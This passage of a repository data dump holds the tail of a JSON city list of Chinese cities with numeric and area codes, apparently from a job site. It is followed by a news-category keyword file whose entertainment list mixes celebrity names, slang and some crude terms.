0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0991", "regionCode": 0 }, { "code": 101131900, "name": "五家渠", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1994", "regionCode": 0 }, { "code": 101160500, "name": "武威", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1935", "regionCode": 0 }, { "code": 101170300, "name": "吴忠", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0953", "regionCode": 0 }, { "code": 101190200, "name": "无锡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0510", "regionCode": 0 }, { "code": 101200100, "name": "武汉", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "027", "regionCode": 0 }, { "code": 101210700, "name": "温州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0577", "regionCode": 0 }, { "code": 101220300, "name": "芜湖", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0553", "regionCode": 0 }, { "code": 101291100, "name": "文山壮族苗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0876", "regionCode": 0 }, { "code": 101300600, "name": "梧州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0774", "regionCode": 0 }, { "code": 101310500, "name": "五指山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1897", "regionCode": 0 }, { "code": 101310700, "name": "文昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1893", "regionCode": 0 }, { "code": 101310800, "name": "万宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1898", "regionCode": 0 } ] }, { "firstChar": "X", "cityList": [ { "code": 101081000, "name": "锡林郭勒盟", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0479", "regionCode": 0 }, { "code": 101081100, "name": "兴安盟", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0482", "regionCode": 0 }, { "code": 101090900, "name": "邢台", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0319", "regionCode": 0 }, { "code": 101101000, "name": "忻州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0350", "regionCode": 0 }, { "code": 101110100, "name": "西安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "029", "regionCode": 0 }, { "code": 101110200, "name": "咸阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0910", "regionCode": 0 }, { "code": 101132500, "name": "新星市", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "101132500", "regionCode": 0 }, { "code": 101150100, "name": "西宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0971", "regionCode": 0 }, { "code": 101180300, "name": "新乡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0373", "regionCode": 0 }, { "code": 101180400, "name": "许昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0374", "regionCode": 0 }, { "code": 101180600, "name": "信阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0376", "regionCode": 0 }, { "code": 101190800, "name": "徐州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0516", "regionCode": 0 }, { "code": 101200200, "name": "襄阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0710", "regionCode": 0 }, { "code": 101200400, "name": "孝感", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0712", "regionCode": 0 }, { "code": 101200700, "name": "咸宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0715", "regionCode": 0 }, { "code": 101201400, "name": "仙桃", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0728", "regionCode": 0 }, { "code": 101221300, "name": "宣城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0563", "regionCode": 0 }, { "code": 101230200, "name": "厦门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0592", "regionCode": 0 }, { "code": 101241000, "name": "新余", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0790", "regionCode": 0 }, { "code": 101250200, "name": "湘潭", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0732", "regionCode": 0 }, { "code": 101251400, "name": "湘西土家族苗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0743", "regionCode": 0 }, { "code": 101291000, "name": "西双版纳傣族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0691", "regionCode": 0 }, { "code": 101320300, "name": "香港", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1852", "regionCode": 0 } ] }, { "firstChar": "Y", "cityList": [ { "code": 101050700, "name": "伊春", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0458", "regionCode": 0 }, { "code": 101060900, "name": "延边朝鲜族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1433", "regionCode": 0 }, { "code": 101070800, "name": "营口", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0417", "regionCode": 0 }, { "code": 101100300, "name": "阳泉", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0353", "regionCode": 0 }, { "code": 101100800, "name": "运城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0359", "regionCode": 0 }, { "code": 101110300, "name": "延安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0911", "regionCode": 0 }, { "code": 101110400, "name": "榆林", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0912", "regionCode": 0 }, { "code": 101120500, "name": "烟台", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0535", "regionCode": 0 }, { "code": 101130600, "name": "伊犁哈萨克自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0999", "regionCode": 0 }, { "code": 101150700, "name": "玉树藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0976", "regionCode": 0 }, { "code": 101170100, "name": "银川", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0951", "regionCode": 0 }, { "code": 101190600, "name": "扬州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0514", "regionCode": 0 }, { "code": 101190700, "name": "盐城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0515", "regionCode": 0 }, { "code": 101200900, "name": "宜昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0717", "regionCode": 0 }, { "code": 101240500, "name": "宜春", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0795", "regionCode": 0 }, { "code": 101241100, "name": "鹰潭", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0701", "regionCode": 0 }, { "code": 101250700, "name": "益阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0737", "regionCode": 0 }, { "code": 101251000, "name": "岳阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0730", "regionCode": 0 }, { "code": 101251300, "name": "永州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0746", "regionCode": 0 }, { "code": 101271100, "name": "宜宾", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0831", "regionCode": 0 }, { "code": 101271600, "name": "雅安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0835", "regionCode": 0 }, { "code": 101281400, "name": "云浮", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0766", "regionCode": 0 }, { "code": 101281800, "name": "阳江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0662", "regionCode": 0 }, { "code": 101290400, "name": "玉溪", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0877", "regionCode": 0 }, { "code": 101300900, "name": "玉林", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0775", "regionCode": 0 } ] }, { "firstChar": "Z", "cityList": [ { "code": 101090300, "name": "张家口", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0313", "regionCode": 0 }, { "code": 101120300, "name": "淄博", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0533", "regionCode": 0 }, { "code": 101121400, "name": "枣庄", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0632", "regionCode": 0 }, { "code": 101160700, "name": "张掖", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0936", "regionCode": 0 }, { "code": 101170500, "name": "中卫", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1953", "regionCode": 0 }, { "code": 101180100, "name": "郑州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0371", "regionCode": 0 }, { "code": 101181400, "name": "周口", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0394", "regionCode": 0 }, { "code": 101181600, "name": "驻马店", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0396", "regionCode": 0 }, { "code": 101190300, "name": "镇江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0511", "regionCode": 0 }, { "code": 101211100, "name": "舟山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0580", "regionCode": 0 }, { "code": 101230600, "name": "漳州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0596", "regionCode": 0 }, { "code": 101250300, "name": "株洲", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0733", "regionCode": 0 }, { "code": 101251100, "name": "张家界", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0744", "regionCode": 0 }, { "code": 101260200, "name": "遵义", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0852", "regionCode": 0 }, { "code": 101270300, "name": "自贡", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0813", "regionCode": 0 }, { "code": 101271300, "name": "资阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0832", "regionCode": 0 }, { "code": 101280700, "name": "珠海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0756", "regionCode": 0 }, { "code": 101280900, "name": "肇庆", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0758", "regionCode": 0 }, { "code": 101281000, "name": "湛江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0759", "regionCode": 0 }, { "code": 101281700, "name": "中山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0760", "regionCode": 0 }, { "code": 101290700, "name": "昭通", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0870", "regionCode": 0 } ] } ], "hotCityList": [ { "code": 100010000, "name": "全国", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "", "regionCode": 0 }, { "code": 101010100, "name": "北京", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "010", "regionCode": 0 }, { "code": 101020100, "name": "上海", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "021", "regionCode": 0 }, { "code": 101280100, "name": "广州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "020", "regionCode": 0 }, { "code": 101280600, "name": "深圳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0755", "regionCode": 0 }, { "code": 101210100, "name": "杭州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0571", "regionCode": 0 }, { "code": 101030100, "name": "天津", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "022", "regionCode": 0 }, { "code": 101110100, "name": "西安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "029", "regionCode": 0 }, { "code": 101190400, "name": "苏州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0512", "regionCode": 0 }, { "code": 101200100, "name": "武汉", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "027", "regionCode": 0 }, { "code": 101230200, "name": "厦门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0592", "regionCode": 0 }, { "code": 101250100, "name": "长沙", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0731", "regionCode": 0 }, { "code": 101270100, "name": "成都", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "028", "regionCode": 0 }, { "code": 101180100, "name": "郑州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0371", "regionCode": 0 }, { "code": 101040100, "name": "重庆", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "023", "regionCode": 0 } ], "locationCity": { "code": 101280600, "name": "深圳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0755", "regionCode": 0 } } } ================================================ FILE: d-json/category_news.json ================================================ { "娱乐": [ "太酷了", "Cool", "打赏", "重生", "魔兽", "甜度", "心眼", "上班", "限定", "头一次", "王力宏", "亲情", "vlog", "害羞", "撩", "热搜", "王嘉尔", "热词", "主打", "歌王", "歌神", "赛文", "李小璐", "风格", "贾乃亮", "模仿", "新版", "公堂", "TFBOYS", "依旧", "下作", "GUCCI", "倪妮", "迪迦", "奥特曼", "傲娇", "病娇", "张萌", "复婚", "折腰", "火热", "文案", "四大", "ins", "三观", "舍利", "隐情", "大神", "热舞", "入围", "牛人", "over", "OVER", "Over", "forever", "FOREVER", "Forever", "Nerver", "NERVER", "NO", "任性", "no", "YES", "Yes", "YYDS", "影帝", "影后", "奇人", "高人", "奇", "高手", "包皮", "IP", "阴茎", "反感", "日常", "艾伦", "赌王", "伴郎", "现身", "赌侠", "赌圣", "行为", "福彩", "彩票", "驱魔", "风水", "占卜", "算卦", "算命", "酷", "觉醒", "洪荒", "弹唱", "抵押", "贷款", "贷", "diss", "女主", "男主", "婚礼", "下线", "对象", "白嫖", "离婚", "特质", "恋情", "纵欲", "禁欲", "天曜", "律师函", "追星", "开播", "给力", "奥利给", "转场", "大佬", "京城", "四少", "丽江", "三少", "表演", "少爷", "光棍", "少奶奶", "白眼", "彩虹", "很多", "入职", "无论", "Faker", "赛亚人", "街霸", "维吉尔", "贵族", "但丁", "李昂", "汤米", "维斯", "维赛迪", "卡卡罗特", "贝吉塔", "佐助", "卡卡西", "鸣人", "路飞", "圆神", "碍事梨", "后悔", "wink", "好真诚", "好", "远点", "离远点", "滚啊", "滚", "滚开", "好稳", "表情", "真诚", "哈妮", "秦霄贤", "王八", "王八蛋", "杂种", "狗杂种", "野种", "饭点", "好惊讶", "惊讶", "直呼", "嘎子", "潘嘎", "刷屏", "惊叹", "惊人", "美味", "比拼", "做作", "扭捏", "捏", "太晚", "世代", "不忍", "太迟", "瘦身", "苦", "滋味", "险峻", "金曲", "俊俏", "麻了", "麻辣", "酸甜", "吉尼斯", "赛高", "屌爆了", "屌爆", "二次元", "刺身", "柯基", "金坷垃", "马保国", "鱼生", "武德", "程序员", "程序猿", "程序媛", "然并卵", "卵", "卵用", "惊恐", "惊悚", "称奇", "称赞", "目瞪口呆", "乍舌", "呆若木鸡", "木头人", "惊呼", "惊奇", "心花怒放", "头像", "原因", "母亲", "一家", "传闻", "曝照", "秒变", "我", "说", "爱", "再见", "神级", "马化腾", "爷", "孙女", "重新", "拿起", "分手", "工作室", "分歧", "自曝", "圆房", "取关", "现实", "爆剧", "解约", "娜扎", "狗肉", "撒娇", "寿比南山", "婚房", "马云", "王思聪", "雪糕", "曾孙", "重孙", "博主", "并非", "刘雅瑟", "杨超越", "大婚", "惊吓", "微博", "治愈了", "反应", "社牛", "儿子", "同学", "毛病", "抖音", "满意", "欣喜", "已是", "玩弄", "单手", "怪兽", "场面", "一起", "连麦", "才子", "教父", "佳人", "才女", "天然", "歌声", "艺人", "天籁", "天后", "瞒不住", "老板", "是谁", "手把手", "被晒", "得主", "头发", "惊艳", "感情", "雷佳音", "极限", "王健林", "波霸", "西瓜", "想和", "跳舞", "删除", "说话", "电视", "电视台", "卫视", "音乐", "音乐节", "电影节", "才知", "挑礼物", "女演员", "同框", "框", "男子晒", "有感", "宣传周", "董明珠", "沈腾", "露腰", "优酷", "王石", "美男", "樱花", "家长", "观看", "育儿分歧", "隆胸", "COS", "熊孩", "狗狗", "美好", "平凡", "选哪个", "庆生", "宝宝", "杨紫", "相恋", "刘亦菲", "刘强东", "仙女", "樱桃", "尬", "尴尬", "尬舞", "赵丽颖", "杨幂", "柳岩", "刘诗诗", "易烊千玺", "女团", "癌症", "氪金", "氪", "肝", "磕", "近照", "偶遇", "领奖", "周杰伦", "热吻", "赵传", "内衣", "塞尔达", "小鲜肉", "章泽天", "生理", "黑鬼", "宝妈", "睡不着", "首公开", "五月天", "般若", "浮生", "减肥", "早期", "旧照", "粉丝", "惨淡", "成绩单", "合影", "面子", "孟羽童", "聊天", "直播", "章子怡", "下雪", "车厘子", "棒子", "CP", "谁抢", "乱性", "邓超", "孙俪", "男朋友", "香火", "供奉", "男友", "闺蜜", "女朋友", "地气", "接地气", "女友", "如何", "射精", "丁真", "漫长", "海底捞", "打卡", "美依礼芽", "传媒", "热门", "撒贝宁", "泰星", "长得", "李安", "耽美", "阿三", "电影", "端午", "清明", "女神节", "大结局", "爱人", "赐福", "热恋", "曾可妮", "韩星", "马伊琍", "代理", "捐精", "井喷", "黄浦江", "戛纳", "彩礼", "演唱", "出山", "导演", "周星驰", "认出", "公关", "片酬", "登顶", "新郎", "伴娘", "一生", "一世", "带货", "预告", "胡兵", "爆冷", "美女", "斗鱼", "精子", "雪景", "星座", "漂亮", "有钱", "暴富", "开心", "如梦", "腹肌", "喜欢", "赌博", "枪支", "朝阳", "东西", "牵手", "接吻", "玩", "定档", "火锅", "偶像", "经纪", "老坛", "宅男", "御宅族", "御宅", "肥宅", "卵子", "原味", "社死", "可爱", "猫咪", "二哈", "主人", "成龙", "徐怀钰", "邓丽君", "张国荣", "哥哥", "梅艳芳", "刘德华", "海景房", "车模", "漫展", "领证", "综合征", "汪小菲", "丧礼", "李鬼", "出场", "排面", "阔气", "腐女", "出水", "警匪", "阿姨", "龙珠", "柯南", "火影", "海贼王", "哆啦A梦", "迪士尼", "造型", "惊现", "成就", "工位", "满满", "元宇宙", "幸福感", "LOL", "英雄联盟", "军训", "教官", "警花", "第二个", "自己", "回归", "劳斯莱斯", "雪花", "太监", "太", "RAP", "来了", "来", "Rap", "rap", "太顶", "太顶了", "秋瓷炫", "日语", "韩语", "娘娘", "意难平", "有多少", "老八", "老弟", "颜九", "多少", "墨香", 